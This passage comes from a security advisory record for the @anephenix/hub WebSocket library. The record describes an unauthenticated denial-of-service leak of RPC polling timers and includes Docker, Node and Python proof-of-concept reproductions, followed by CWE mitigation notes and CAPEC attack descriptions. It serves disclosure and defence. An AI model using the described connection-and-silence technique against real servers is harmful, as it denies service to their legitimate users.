"fixed": "0.2.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:47:29Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`@anephenix/hub` starts a `setInterval` polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies \u2014 which requires no authentication or special configuration \u2014 the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).\n\n### Details\n\nWhen a client connects, `loadDefaultConnectionEventListeners` (registered in `src/lib/index.ts:128`) adds a connection listener that calls `requestClientId({ ws, rpc })` for every new WebSocket (`src/lib/index.ts:262`). `requestClientId` issues an RPC send for the `get-client-id` action (`src/lib/clientId.ts:112`), which internally calls `rpc.send`.\n\nInside `rpc.send`, the payload is pushed onto `this.requests` (`src/lib/rpc.ts:282`) and `waitForReply` is invoked. `waitForReply` starts a `setInterval` that polls `responses[]` every 10 ms for a matching reply (`src/lib/rpc.ts:250`):\n\n```ts\n// src/lib/rpc.ts:250\u2013267\ninterval = setInterval(() =\u003e {\n const response = responses.find(\n (r) =\u003e r.id === id \u0026\u0026 r.action === action,\n );\n if (response) {\n if (interval) clearInterval(interval);\n // ... resolve and cleanup\n this.cleanupRPCCall(response);\n }\n}, 10);\n```\n\n`clearInterval` is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the `this.requests` entry. The `close` handler registered in `loadDefaultConnectionEventListeners` (`src/lib/index.ts:128\u2013134`) only calls `pubsub.unsubscribeClientFromAllChannels`; it does not cancel pending RPC requests for that socket.\n\n**Data flow (source \u2192 sink):**\n\n1. `src/lib/index.ts:269` \u2014 `wss.on(\"connection\")` accepts any remote WebSocket (no authentication).\n2. `src/lib/index.ts:272` \u2014 connection listeners are iterated and invoked.\n3. `src/lib/index.ts:262` \u2014 `requestClientId({ ws, rpc: this.rpc })` is called for every connection by default.\n4. `src/lib/clientId.ts:112` \u2014 `rpc.send({ ws, action: \u0027get-client-id\u0027 })` creates an RPC request.\n5. `src/lib/rpc.ts:282` \u2014 `this.requests.push(payload)` registers the pending request.\n6. `src/lib/rpc.ts:250` \u2014 `setInterval(..., 10)` begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.\n\n### PoC\n\n**Prerequisites:** Docker must be available on the host.\n\n**Step 1 \u2014 Build the verification image:**\n\n```bash\ndocker build --no-cache \\\n -f vuln-001/Dockerfile \\\n -t hub-vuln-001:latest \\\n reports/npm_web_272_anephenix__hub\n```\n\n**Step 2 \u2014 Run the container:**\n\n```bash\ndocker run --rm --network none hub-vuln-001:latest\n```\n\nThe container runs `verify.mjs`, which:\n1. Starts a `Hub` server on a local port.\n2. Opens a WebSocket and waits for the server\u0027s `get-client-id` RPC message without replying.\n3. Closes the socket and waits 300 ms.\n4. Inspects `hub.rpc.requests.length` \u2014 it must remain `1` even though `hub.wss.clients.size` is `0`.\n5. Opens five more sockets the same way (batch), then verifies that `pendingRpcRequests` equals `6`.\n\n**Step 3 \u2014 Alternatively, run the Python orchestrator directly:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\n**Expected output (confirmed):**\n\n```json\n{\n \"snapshotAfterClose\": {\"clientState\": 3, \"serverClients\": 0, \"pendingRpcRequests\": 1},\n \"snapshotAfterBatch\": {\"serverClients\": 0, \"pendingRpcRequests\": 6, \"expectedPendingRpcRequests\": 6}\n}\n```\n\n`pendingRpcRequests` grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.\n\n**Minimal inline reproduction** (without Docker, inside the repository after `npm ci \u0026\u0026 npm run build`):\n\n```bash\nnode --input-type=module - \u003c\u003c\u0027EOF\u0027\nimport Hub from \u0027./dist/esm/index.js\u0027;\nimport { WebSocket } from \u0027ws\u0027;\n\nconst port = 8766;\nconst hub = new Hub({ port });\nhub.listen();\nconst ws = new WebSocket(`ws://localhost:${port}`);\n\nawait new Promise((resolve) =\u003e ws.once(\u0027message\u0027, resolve));\nws.close();\nawait new Promise((resolve) =\u003e setTimeout(resolve, 300));\nconsole.log(JSON.stringify({\n serverClients: hub.wss.clients.size,\n pendingRpcRequests: hub.rpc.requests.length,\n}));\nhub.server.close();\nprocess.exit(0);\nEOF\n```\n\nExpected:\n\n```json\n{\"serverClients\": 0, \"pendingRpcRequests\": 1}\n```\n\n### Impact\n\nThis is an **unauthenticated Denial-of-Service** vulnerability. Any network-reachable `@anephenix/hub` server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server\u0027s `get-client-id` RPC causes the server process to accumulate one `setInterval` timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.\n\nNo authentication, special headers, or knowledge of internal protocol details are required \u2014 a plain WebSocket `connect` followed by silence is sufficient.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-alpine\n\nRUN apk add --no-cache python3 make g++\n\nWORKDIR /app\n\n# Install dependencies first for layer caching\nCOPY repo/package.json repo/package-lock.json ./\nRUN npm ci --ignore-scripts\n\n# Copy the rest of the source and build\nCOPY repo/ ./\nRUN npm run build\n\n# Copy the vulnerability verification script into /app so node_modules is resolvable\nCOPY vuln-001/verify.mjs /app/verify.mjs\n\nCMD [\"node\", \"/app/verify.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC \u2014 Unauthenticated WebSocket RPC Waiter Resource Exhaustion\n(@anephenix/hub v0.2.15)\n\nBuilds a Docker image containing the hub library and a verification script,\nthen runs the container to produce deterministic evidence that\nhub.rpc.requests[] entries (and their backing setInterval timers) are never\ncleaned up when a WebSocket client disconnects without replying to the\nserver\u0027s \"get-client-id\" RPC request.\n\nUsage:\n python3 poc.py\n\nExit codes:\n 0 \u2014 vulnerability confirmed (PASS)\n 1 \u2014 not reproduced (FAIL)\n 2 \u2014 environment / build error\n\"\"\"\n\nimport json\nimport subprocess\nimport sys\nfrom pathlib import Path\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\nSCRIPT_DIR = Path(__file__).resolve().parent\nREPO_ROOT = SCRIPT_DIR.parent # \u2026/npm_web_272_anephenix__hub/\nDOCKERFILE = SCRIPT_DIR / \"Dockerfile\"\nPOC_TAG = \"hub-vuln-001:latest\"\n\nBUILD_CMD = [\n \"docker\", \"build\",\n \"--no-cache\",\n \"-f\", str(DOCKERFILE),\n \"-t\", POC_TAG,\n str(REPO_ROOT), # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve\n]\n\nRUN_CMD = [\n \"docker\", \"run\",\n \"--rm\",\n \"--network\", \"none\", # no external network access needed\n POC_TAG,\n]\n\n\ndef banner(msg: str) -\u003e None:\n print(f\"\\n{\u0027=\u0027*60}\\n {msg}\\n{\u0027=\u0027*60}\")\n\n\ndef run(cmd: list[str], **kwargs) -\u003e subprocess.CompletedProcess:\n print(\"$\", \" \".join(cmd))\n return subprocess.run(cmd, **kwargs)\n\n\ndef build_image() -\u003e None:\n banner(\"Phase 1 \u2014 Building Docker image\")\n result = run(BUILD_CMD, capture_output=False)\n if result.returncode != 0:\n print(\"[ERROR] Docker build failed.\", file=sys.stderr)\n sys.exit(2)\n print(\"[OK] Image built:\", POC_TAG)\n\n\ndef run_poc() -\u003e dict:\n banner(\"Phase 2 \u2014 Running vulnerability verification inside container\")\n result = run(RUN_CMD, capture_output=True, text=True)\n\n print(\"--- container stdout ---\")\n print(result.stdout)\n if result.stderr:\n print(\"--- container stderr ---\")\n print(result.stderr)\n\n # The container exits 0 on confirmed leak, 1 otherwise.\n if result.returncode == 2:\n print(\"[ERROR] Verification script crashed.\", file=sys.stderr)\n sys.exit(2)\n\n try:\n data = json.loads(result.stdout)\n except json.JSONDecodeError as exc:\n print(f\"[ERROR] Could not parse container output as JSON: {exc}\", file=sys.stderr)\n sys.exit(2)\n\n return data, result.returncode\n\n\ndef evaluate(data: dict, container_exit: int) -\u003e tuple[bool, str]:\n \"\"\"Return (passed, evidence_summary).\"\"\"\n after_close = data.get(\"snapshotAfterClose\", {})\n after_batch = data.get(\"snapshotAfterBatch\", {})\n\n leaked_single = (\n after_close.get(\"pendingRpcRequests\", 0) \u003e 0 and\n after_close.get(\"serverClients\", -1) == 0 and\n after_close.get(\"clientState\", -1) == 3 # WebSocket.CLOSED\n )\n\n leaked_batch = (\n after_batch.get(\"pendingRpcRequests\", 0) ==\n after_batch.get(\"expectedPendingRpcRequests\", -1)\n )\n\n passed = leaked_single and leaked_batch and container_exit == 0\n\n evidence = (\n f\"snapshotAfterClose={json.dumps(after_close)}; \"\n f\"snapshotAfterBatch={json.dumps(after_batch)}; \"\n f\"container_exit={container_exit}\"\n )\n return passed, evidence\n\n\ndef main() -\u003e None:\n build_image()\n data, container_exit = run_poc()\n\n banner(\"Phase 3 \u2014 Evaluating results\")\n passed, evidence = evaluate(data, container_exit)\n\n if passed:\n print(\"[PASS] Leak confirmed: RPC waiter entries persist after socket close.\")\n else:\n print(\"[FAIL] Leak NOT observed \u2014 check container output above.\")\n\n return passed, evidence, data\n\n\nif __name__ == \"__main__\":\n passed, evidence, raw = main()\n\n verdict = \"PASS\" if passed else \"FAIL\"\n reason = (\n \"\uc18c\ucf13\uc774 \ub2eb\ud78c \ub4a4\uc5d0\ub3c4 hub.rpc.requests[] \ud56d\ubaa9\uacfc setInterval \ud0c0\uc774\uba38\uac00 \ud574\uc81c\ub418\uc9c0 \uc54a\uc74c\uc774 \"\n \"\ub7f0\ud0c0\uc784 \uac80\uc0ac\ub85c \ud655\uc778\ub428. \ub2e8\uc77c \uc5f0\uacb0\uc5d0\uc11c pendingRpcRequests=1\uc774 \uc720\uc9c0\ub418\uace0, \"\n \"\ubc30\uce58 5\uac1c \ucd94\uac00 \ud6c4 \ucd1d 6\uac1c\uac00 \ub204\uc801\ub418\uc5b4 \uc120\ud615 \ub9ac\uc18c\uc2a4 \ub204\uc218\uac00 \uc99d\uba85\ub428.\"\n if passed else\n \"\ucee8\ud14c\uc774\ub108 \uc2e4\ud589 \uacb0\uacfc\uc5d0\uc11c \uacb0\uc815\uc801 \uc99d\uac70\ub97c \ud655\ubcf4\ud558\uc9c0 \ubabb\ud588\uc74c.\"\n )\n\n result_path = SCRIPT_DIR / \"phase2_result.json\"\n phase2 = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": \" \".join(BUILD_CMD),\n \"run_command\": \" \".join(RUN_CMD),\n \"poc_command\": f\"python3 {Path(__file__).name}\",\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"verify.mjs\", \"poc.py\"],\n }\n\n result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))\n print(f\"\\n[INFO] Results written to {result_path}\")\n\n sys.exit(0 if passed else 1)\n```",
"id": "GHSA-g5vv-q72c-7j78",
"modified": "2026-07-24T21:47:29Z",
"published": "2026-07-24T21:47:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anephenix/hub/security/advisories/GHSA-g5vv-q72c-7j78"
},
{
"type": "WEB",
"url": "https://github.com/anephenix/hub/commit/67260d2a1407a77f082f02dc9e1f0891222c306d"
},
{
"type": "WEB",
"url": "https://github.com/anephenix/hub/commit/931576db3cdbf4f1583bd2c3c8759c4f4e032ab3"
},
{
"type": "PACKAGE",
"url": "https://github.com/anephenix/hub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "@anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.